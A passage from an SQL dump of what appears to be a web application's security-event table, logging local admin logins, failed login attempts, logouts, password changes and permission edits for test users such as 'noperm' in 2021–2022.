Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1084,'2021-04-15 10:41:51','USER_NEW_PASSWORD',1,'2021-04-15 07:41:51',12,'Password change for ccommercy','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1085,'2021-04-15 10:41:51','USER_MODIFY',1,'2021-04-15 07:41:51',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1086,'2021-04-15 10:42:13','USER_NEW_PASSWORD',1,'2021-04-15 07:42:13',12,'Password change for aeinstein','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1087,'2021-04-15 10:42:13','USER_MODIFY',1,'2021-04-15 07:42:13',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1088,'2021-04-15 10:54:43','USER_LOGOUT',1,'2021-04-15 07:54:43',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1089,'2021-04-15 10:55:32','USER_LOGIN_FAILED',1,'2021-04-15 07:55:32',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1090,'2021-04-15 10:55:36','USER_LOGIN',1,'2021-04-15 07:55:36',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1091,'2021-04-15 10:55:57','USER_LOGOUT',1,'2021-04-15 07:55:57',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1092,'2021-04-15 10:56:17','USER_LOGIN',1,'2021-04-15 07:56:17',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1093,'2021-04-15 10:56:37','USER_LOGOUT',1,'2021-04-15 07:56:37',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1094,'2021-04-15 10:59:04','USER_LOGIN',1,'2021-04-15 07:59:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36',NULL,'ad25e182a7c96613025098ed58d8c6cb',NULL,NULL),(1095,'2022-07-05 07:56:28','USER_LOGIN_FAILED',1,'2022-07-05 07:56:28',NULL,'Identifiant ou mot de passe incorrect - login=admin','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36',NULL,'eef6babe82a3a30e6c3b93525e9fe8be60019b63',NULL,NULL),(1096,'2022-07-05 07:56:33','USER_LOGIN',1,'2022-07-05 07:56:33',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36',NULL,'eef6babe82a3a30e6c3b93525e9fe8be60019b63',NULL,NULL),(1097,'2022-12-12 08:19:09','USER_LOGIN_FAILED',1,'2022-12-12 08:19:09',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1098,'2022-12-12 08:19:13','USER_LOGIN_FAILED',1,'2022-12-12 08:19:13',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1099,'2022-12-12 08:19:20','USER_LOGIN_FAILED',1,'2022-12-12 08:19:20',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1100,'2022-12-12 08:19:25','USER_LOGIN',1,'2022-12-12 08:19:25',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1101,'2022-12-13 11:09:23','USER_LOGIN_FAILED',1,'2022-12-13 11:09:23',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1102,'2022-12-13 11:09:26','USER_LOGIN',1,'2022-12-13 11:09:26',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1103,'2022-12-13 11:24:28','USER_MODIFY',1,'2022-12-13 11:24:28',12,'User admin modified - Permissions added','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1104,'2022-12-13 11:24:38','USER_MODIFY',1,'2022-12-13 11:24:38',12,'User admin modified - Permissions removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1105,'2022-12-13 11:24:40','USER_MODIFY',1,'2022-12-13 11:24:40',12,'User admin modified - Permissions added','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1106,'2022-12-13 11:24:47','USER_MODIFY',1,'2022-12-13 11:24:47',12,'User admin modified - Permissions removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1107,'2022-12-13 11:24:51','USER_MODIFY',1,'2022-12-13 11:24:51',12,'User admin modified - Permissions added','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1110,'2022-12-13 11:28:20','USER_CREATE',1,'2022-12-13 11:28:20',12,'User noperm created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1111,'2022-12-13 11:28:20','USER_NEW_PASSWORD',1,'2022-12-13 11:28:20',12,'Password change for noperm','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1112,'2022-12-13 11:29:23','USER_LOGIN',1,'2022-12-13 11:29:23',22,'(UserLogged,noperm) - TZ=1;TZString=Europe/Paris;Screen=1920x932','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1113,'2022-12-13 11:49:51','USER_MODIFY',1,'2022-12-13 11:49:51',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1114,'2022-12-13 11:50:15','USER_MODIFY',1,'2022-12-13 11:50:15',12,'User noperm modified - Permissions removed (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1115,'2022-12-13 11:50:17','USER_MODIFY',1,'2022-12-13 11:50:17',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1116,'2022-12-13 11:50:18','USER_MODIFY',1,'2022-12-13 11:50:18',12,'User noperm modified - Permissions removed (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1117,'2022-12-13 11:50:19','USER_MODIFY',1,'2022-12-13 11:50:19',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1118,'2022-12-13 11:50:20','USER_MODIFY',1,'2022-12-13 11:50:20',12,'User noperm modified - Permissions removed (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1119,'2022-12-13 11:50:20','USER_MODIFY',1,'2022-12-13 11:50:20',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1120,'2022-12-13 11:50:43','USER_MODIFY',1,'2022-12-13 11:50:43',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1121,'2022-12-13 11:50:44','USER_MODIFY',1,'2022-12-13 11:50:44',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1122,'2022-12-13 11:52:00','USER_MODIFY',1,'2022-12-13 11:52:00',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1123,'2022-12-13 11:54:05','USER_MODIFY',1,'2022-12-13 11:54:05',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1124,'2022-12-13 11:54:06','USER_MODIFY',1,'2022-12-13 11:54:06',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1125,'2022-12-13 11:54:32','USER_MODIFY',1,'2022-12-13 11:54:32',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1126,'2022-12-13 11:55:13','USER_MODIFY',1,'2022-12-13 11:55:13',12,'User noperm modified - Permissions added (id=343)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1127,'2022-12-13 13:29:38','USER_MODIFY',1,'2022-12-13 13:29:38',12,'User noperm modified - Permissions added (id=81)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1128,'2022-12-13 13:29:51','USER_MODIFY',1,'2022-12-13 13:29:51',12,'User noperm modified - Permissions added (id=1121)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1129,'2022-12-13 13:30:42','USER_MODIFY',1,'2022-12-13 13:30:42',12,'User noperm modified - Permissions added (id=1181)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1130,'2022-12-13 13:31:39','USER_MODIFY',1,'2022-12-13 13:31:39',12,'User noperm modified - Permissions added (id=1182)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1131,'2022-12-13 13:31:48','USER_MODIFY',1,'2022-12-13 13:31:48',12,'User noperm modified - Permissions added (id=1186)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1132,'2022-12-13 13:31:49','USER_MODIFY',1,'2022-12-13 13:31:49',12,'User noperm modified - Permissions removed (id=1186)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1133,'2022-12-13 17:59:06','USER_MODIFY',1,'2022-12-13 17:59:06',12,'User noperm modified - Permissions added','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1134,'2022-12-13 17:59:08','USER_MODIFY',1,'2022-12-13 17:59:08',12,'User noperm modified - Permissions removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1135,'2022-12-13 17:59:14','USER_MODIFY',1,'2022-12-13 17:59:14',12,'User noperm modified - Permissions added (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1136,'2022-12-13 17:59:15','USER_MODIFY',1,'2022-12-13 17:59:15',12,'User noperm modified - Permissions removed (id=251)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1137,'2022-12-13 17:59:33','USER_MODIFY',1,'2022-12-13 17:59:33',12,'User noperm modified - Permissions added (id=701)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1138,'2022-12-16 09:28:06','USER_LOGIN_FAILED',1,'2022-12-16 09:28:06',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1139,'2022-12-16 09:28:12','USER_LOGIN_FAILED',1,'2022-12-16 09:28:12',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1140,'2022-12-16 09:28:28','USER_LOGIN',1,'2022-12-16 09:28:28',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1141,'2022-12-17 11:05:54','USER_LOGIN_FAILED',1,'2022-12-17 11:05:54',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1142,'2022-12-17 11:05:59','USER_LOGIN_FAILED',1,'2022-12-17 11:05:59',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1143,'2022-12-17 11:06:04','USER_LOGIN_FAILED',1,'2022-12-17 11:06:04',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1144,'2022-12-17 11:06:07','USER_LOGIN',1,'2022-12-17 11:06:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1145,'2022-12-19 11:46:58','USER_LOGIN_FAILED',1,'2022-12-19 11:46:58',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1146,'2022-12-19 11:47:00','USER_LOGIN',1,'2022-12-19 11:47:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1147,'2022-12-21 18:36:14','USER_LOGIN_FAILED',1,'2022-12-21 18:36:14',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1148,'2022-12-21 18:36:18','USER_LOGIN',1,'2022-12-21 18:36:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1149,'2022-12-22 11:24:48','USER_LOGIN_FAILED',1,'2022-12-22 11:24:48',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1150,'2022-12-22 11:24:52','USER_LOGIN',1,'2022-12-22 11:24:52',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1151,'2022-12-23 13:55:03','USER_LOGIN_FAILED',1,'2022-12-23 13:55:03',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1152,'2022-12-23 13:55:06','USER_LOGIN',1,'2022-12-23 13:55:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1153,'2022-12-24 13:49:10','USER_LOGIN_FAILED',1,'2022-12-24 13:49:10',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1154,'2022-12-24 13:49:13','USER_LOGIN',1,'2022-12-24 13:49:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1155,'2022-12-26 11:15:52','USER_LOGIN_FAILED',1,'2022-12-26 11:15:52',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1156,'2022-12-26 11:15:56','USER_LOGIN_FAILED',1,'2022-12-26 11:15:56',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1157,'2022-12-26 11:16:00','USER_LOGIN',1,'2022-12-26 11:16:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1158,'2022-12-26 23:35:48','USER_LOGIN_FAILED',1,'2022-12-26 23:35:48',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1159,'2022-12-26 23:35:56','USER_LOGIN',1,'2022-12-26 23:35:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1160,'2022-12-27 09:39:02','USER_LOGIN_FAILED',1,'2022-12-27 09:39:02',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1161,'2022-12-27 09:39:06','USER_LOGIN_FAILED',1,'2022-12-27 09:39:06',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1162,'2022-12-27 09:39:11','USER_LOGIN',1,'2022-12-27 09:39:11',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1163,'2022-12-28 22:37:21','USER_LOGIN',1,'2022-12-28 22:37:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1164,'2022-12-29 11:35:40','USER_LOGIN_FAILED',1,'2022-12-29 11:35:40',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1165,'2022-12-29 11:35:46','USER_LOGIN_FAILED',1,'2022-12-29 11:35:46',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1166,'2022-12-29 11:35:52','USER_LOGIN_FAILED',1,'2022-12-29 11:35:52',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1167,'2022-12-29 11:35:56','USER_LOGIN',1,'2022-12-29 11:35:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 